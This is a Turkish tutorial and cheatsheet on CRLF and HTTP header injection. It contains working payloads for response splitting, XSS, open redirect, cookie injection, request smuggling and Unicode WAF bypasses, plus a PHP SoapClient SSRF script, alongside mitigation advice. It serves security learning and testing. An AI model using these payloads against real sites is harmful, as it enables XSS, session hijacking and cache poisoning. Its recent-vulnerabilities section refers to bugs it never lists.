CRLF (%0D%0A) Enjeksiyonu

Reading time: 12 minutes

CRLF

Carriage Return (CR) ve Line Feed (LF), birlikte CRLF olarak bilinir, HTTP protokolünde bir satırın sonunu veya yeni bir satırın başlangıcını belirtmek için kullanılan özel karakter dizileridir. Web sunucuları ve tarayıcılar, HTTP başlıkları ile bir yanıtın gövdesi arasında ayrım yapmak için CRLF kullanır. Bu karakterler, Apache ve Microsoft IIS gibi çeşitli web sunucu türleri arasında HTTP/1.1 iletişimlerinde evrensel olarak kullanılmaktadır.

CRLF Enjeksiyon Açığı

CRLF enjeksiyonu, kullanıcı tarafından sağlanan girdiye CR ve LF karakterlerinin eklenmesini içerir. Bu eylem, sunucuyu, uygulamayı veya kullanıcıyı, enjekte edilen diziyi bir yanıtın sonu ve diğerinin başlangıcı olarak yorumlamaya yönlendirir. Bu karakterler doğası gereği zararlı olmasa da, yanlış kullanımları HTTP yanıt bölme ve diğer kötü niyetli faaliyetlere yol açabilir.

Örnek: Bir Log Dosyasında CRLF Enjeksiyonu

Example from here

Bir admin panelinde IP - Zaman - Ziyaret Edilen Yol formatını takip eden bir log dosyasını düşünün. Tipik bir kayıt şöyle görünebilir:

123.123.123.123 - 08:15 - /index.php?page=home

Bir saldırgan, bu günlüğü manipüle etmek için bir CRLF enjeksiyonunu kullanabilir. HTTP isteğine CRLF karakterleri enjekte ederek, saldırgan çıktı akışını değiştirebilir ve günlük girişlerini sahteleyebilir. Örneğin, enjekte edilmiş bir dizi günlük girişini şu şekilde dönüştürebilir:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Burada, %0d ve %0a CR ve LF'nin URL kodlu formlarını temsil eder. Saldırıdan sonra, günlük yanıltıcı bir şekilde şunu gösterecektir:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Saldırgan, kötü niyetli faaliyetlerini, localhost'un (sunucu ortamında genellikle güvenilen bir varlık) eylemleri gerçekleştirmiş gibi görünmesini sağlayarak gizler. Sunucu, %0d%0a ile başlayan sorgu kısmını tek bir parametre olarak yorumlarken, restrictedaction parametresi ayrı bir girdi olarak ayrıştırılır. Manipüle edilmiş sorgu, meşru bir yönetim komutunu etkili bir şekilde taklit eder: /index.php?page=home&restrictedaction=edit

HTTP Yanıt Bölme

Açıklama

HTTP Yanıt Bölme, bir saldırganın HTTP yanıtlarının yapısını istismar etmesiyle ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlıkları gövde kısmından ayıran belirli bir karakter dizisi kullanır; bu dizinin adı, Carriage Return (CR) ve ardından Line Feed (LF) olarak bilinir ve birlikte CRLF olarak adlandırılır. Bir saldırgan, bir yanıt başlığına bir CRLF dizisi eklemeyi başarırsa, sonraki yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür bir manipülasyon, özellikle Cross-site Scripting (XSS) gibi ciddi güvenlik sorunlarına yol açabilir.

HTTP Yanıt Bölme ile XSS

1. Uygulama, şu şekilde özel bir başlık ayarlar: X-Custom-Header: UserInput
2. Uygulama, UserInput için değerini bir sorgu parametresinden alır, örneğin "user_input". Uygun girdi doğrulaması ve kodlaması olmayan senaryolarda, bir saldırgan CRLF dizisini ve ardından kötü niyetli içeriği içeren bir yük oluşturabilir.
3. Bir saldırgan, özel olarak hazırlanmış bir 'user_input' ile bir URL oluşturur: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• Bu URL'de, %0d%0a%0d%0a CRLFCRLF'nin URL kodlu biçimidir. Sunucuyu bir CRLF dizisi eklemeye kandırır ve sunucunun sonraki kısmı yanıt gövdesi olarak ele almasını sağlar.

4. Sunucu, saldırganın girdisini yanıt başlığında yansıtır ve kötü niyetli script'in tarayıcı tarafından yanıt gövdesinin bir parçası olarak yorumlandığı istenmeyen bir yanıt yapısına yol açar.

Yönlendirmeye Yol Açan HTTP Yanıt Bölme Örneği

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Tarayıcıya:

/%0d%0aLocation:%20http://myweb.com

Ve sunucu şu başlıkla yanıt verir:

Location: http://myweb.com

Diğer örnek: (şuradan https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URL Yolunda

Yükü URL yolunun içinde göndererek sunucudan gelen yanıtı kontrol edebilirsiniz (örnek buradan):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Daha fazla örnek için:

https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md

HTTP Header Injection

HTTP Header Injection, genellikle CRLF (Carriage Return and Line Feed) enjeksiyonu aracılığıyla istismar edilen, saldırganların HTTP başlıkları eklemesine olanak tanır. Bu, XSS (Cross-Site Scripting) filtreleri veya SOP (Same-Origin Policy) gibi güvenlik mekanizmalarını zayıflatabilir ve potansiyel olarak CSRF tokenları gibi hassas verilere yetkisiz erişim veya çerez yerleştirme yoluyla kullanıcı oturumlarının manipülasyonuna yol açabilir.

HTTP Header Injection ile CORS'u İstismar Etme

Bir saldırgan, SOP tarafından dayatılan kısıtlamaları aşarak CORS (Cross-Origin Resource Sharing) etkinleştirmek için HTTP başlıkları enjekte edebilir. Bu ihlal, kötü niyetli kaynaklardan gelen betiklerin farklı bir kaynaktan gelen kaynaklarla etkileşimde bulunmasına olanak tanır ve potansiyel olarak korunan verilere erişim sağlar.

CRLF Aracılığıyla SSRF ve HTTP Request Injection

CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bunun dikkat çekici bir örneği, PHP'nin SoapClient sınıfındaki, özellikle user_agent parametresindeki zayıflıktır. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve içerik ekleyebilir veya hatta tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda bu istismarı gösteren bir PHP örneği bulunmaktadır:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

Bu teknik ve potansiyel sorunlar hakkında daha fazla bilgi için orijinal kaynağı kontrol edin.

İlk isteğe yanıt verdikten sonra arka ucun bağlantıyı açık tutmasını sağlamak için gerekli başlıkları enjekte edebilirsiniz:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Sonrasında, ikinci bir istek belirtilebilir. Bu senaryo genellikle HTTP request smuggling ile ilgilidir; burada, sunucu tarafından eklenen ekstra başlıklar veya gövde öğeleri, çeşitli güvenlik istismarlarına yol açabilir.

İstismar:

1. Kötü Amaçlı Ön Ek Enjeksiyonu: Bu yöntem, bir sonraki kullanıcının isteğini veya bir web önbelleğini kötü amaçlı bir ön ek belirleyerek zehirlemeyi içerir. Bunun bir örneği:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Yanıt Kuyruğu Zehirleme için Bir Ön Ek Oluşturma: Bu yaklaşım, sonuna eklenen gereksiz verilerle birleştirildiğinde, tam bir ikinci isteği oluşturan bir ön ek yaratmayı içerir. Bu, yanıt kuyruğu zehirlemesini tetikleyebilir. Bir örnek:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Enjeksiyonu

Memcache, açık metin protokolü kullanan bir anahtar-değer deposudur. Daha fazla bilgi için:

11211 - Pentesting Memcache

Tam bilgi için orijinal yazıyı okuyun

Eğer bir platform, bir HTTP isteğinden veri alıyor ve bunu temizlemeden memcache sunucusuna istekler yapmak için kullanıyorsa, bir saldırgan bu davranışı yeni memcache komutları enjekte etmek için kötüye kullanabilir.

Örneğin, keşfedilen orijinal zafiyette, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve portu döndürmek için kullanıldı ve saldırganlar, önbelleği zehirleyecek memcache komutları enjekte edebildiler; bu da kurbanların detaylarını (kullanıcı adları ve şifreler dahil) saldırgan sunuculara göndermelerine neden oldu:

Ayrıca, araştırmacılar, saldırganın bilmediği kullanıcıların e-postalarına saldırganın IP ve portlarını göndermek için memcache yanıtlarını senkronize edemeyeceklerini de keşfettiler:

Web Uygulamalarında CRLF / HTTP Başlık Enjeksiyonlarını Önleme

Web uygulamalarında CRLF (Carriage Return and Line Feed) veya HTTP Başlık Enjeksiyonlarının risklerini azaltmak için aşağıdaki stratejiler önerilmektedir:

1. Yanıt Başlıklarında Doğrudan Kullanıcı Girdisinden Kaçının: En güvenli yaklaşım, kullanıcı tarafından sağlanan girdileri doğrudan yanıt başlıklarına dahil etmemektir.
2. Özel Karakterleri Kodlayın: Doğrudan kullanıcı girdisinden kaçınmak mümkün değilse, CR (Carriage Return) ve LF (Line Feed) gibi özel karakterleri kodlamak için özel bir fonksiyon kullanıldığından emin olun. Bu uygulama, CRLF enjeksiyon olasılığını önler.
3. Programlama Dilini Güncelleyin: Web uygulamalarınızda kullanılan programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli fonksiyonlar içinde CR ve LF karakterlerinin enjekte edilmesini doğal olarak engelleyen bir sürümü tercih edin.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Son Güvenlik Açıkları (2023 – 2025)

Son birkaç yıl, yaygın olarak kullanılan sunucu ve istemci tarafı bileşenlerinde birkaç yüksek etkili CRLF/HTTP başlık enjekte hatası üretti. Bunları yerel olarak yeniden üretmek ve incelemek, gerçek dünya istismar kalıplarını anlamanın mükemmel bir yoludur.

Bu hatalar önemlidir çünkü uygulama düzeyindeki kod içinde tetiklenir ve yalnızca web sunucusu kenarında değil. HTTP istekleri gerçekleştiren veya yanıt başlıklarını ayarlayan herhangi bir iç bileşen, bu nedenle CR/LF filtrelemesini zorunlu kılmalıdır.

Gelişmiş Unicode / Kontrol Karakteri Atlatmaları

Modern WAF/yazım yeniden yazıcı yığınları genellikle \r/\n karakterlerini temizler, ancak birçok arka uç tarafından satır sonlandırıcı olarak kabul edilen diğer karakterleri unutur. CRLF filtrelendiğinde, şunları deneyin:

• %E2%80%A8 (U+2028 – SATIR AYIRICI)
• %E2%80%A9 (U+2029 – PARAGRAF AYIRICI)
• %C2%85 (U+0085 – SONRAKİ SATIR)

Bazı Java, Python ve Go çerçeveleri, başlık ayrıştırma sırasında bunları \n'ye dönüştürür (2023 Praetorian araştırmasına bakın). Bunları klasik yüklerle birleştirin:

/%0A%E2%80%A8Set-Cookie:%20admin=true

Eğer filtre önce UTF-8'i normalleştirirse, kontrol karakteri normal bir satır sonuna dönüştürülür ve enjekte edilen başlık kabul edilir.

WAF Evasion via Duplicate Content-Encoding Trick (2023)

Praetorian araştırmacıları ayrıca enjekte ederek gösterdiler:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

bir yansıtılan başlığa, tarayıcılar sunucu tarafından sağlanan gövdeyi göz ardı edecek ve ardından gelen saldırgan tarafından sağlanan HTML'yi render edecektir, bu da uygulamanın kendi içeriği etkisiz olsa bile depolanan XSS'ye neden olur. Content-Encoding: identity RFC 9110 tarafından izin verildiği için, birçok ters proxy bunu değiştirmeden iletmektedir.

Otomatik Araçlar

• CRLFsuite – Go dilinde yazılmış hızlı aktif tarayıcı.
• crlfuzz – Unicode yeni satır yüklerini destekleyen kelime listesi tabanlı fuzzer.
• crlfix – Go programları tarafından üretilen HTTP isteklerini yamanlayan 2024 aracı ve iç hizmetleri test etmek için bağımsız olarak kullanılabilir.

Kaba Kuvvet Tespit Listesi

• carlospolop/Auto_Wordlists – crlf.txt

Referanslar

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/
• https://nvd.nist.gov/vuln/detail/CVE-2024-45302
• https://security.praetorian.com/blog/2023-unicode-newlines-bypass/